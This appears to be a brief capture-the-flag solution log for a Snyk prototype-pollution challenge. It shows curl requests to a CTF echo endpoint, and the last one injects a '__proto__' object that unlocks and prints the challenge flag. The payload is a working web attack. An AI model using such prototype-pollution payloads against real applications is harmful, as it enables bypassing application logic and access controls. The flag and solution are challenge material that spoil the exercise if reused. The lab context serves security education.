What is prototype pollution? | Tutorial & examples | Snyk Learn
snyk auth
curl -H "Content-Type: application/json" -X POST "<http://invisible-ink.c.ctf-snyk.io/echo>"
curl -H "Content-Type: application/json" -X POST "<http://invisible-ink.c.ctf-snyk.io/echo>" -d "{"message": "ping"}"
url -H "Content-Type: application/json" -X POST "<http://invisible-ink.c.ctf-snyk.io/echo>" -d '{"message": "ping"}'
{"userID":"204.8.153.51, 34.111.128.148","time":1667090466191,"message":"ping","flag":"disabled"}%
curl -H "Content-Type: application/json" -X POST "<http://invisible-ink.c.ctf-snyk.io/echo>" -d '{"message": "ping","__proto__":{"flag": "any"}}'
{"userID":"204.8.153.51, 34.111.128.148","time":1667090568743,"message":"ping","flag":"SNYK{6a6a6fff87f3cfdca056a077804838d4e87f25f6a11e09627062c06f142b10dd}"}%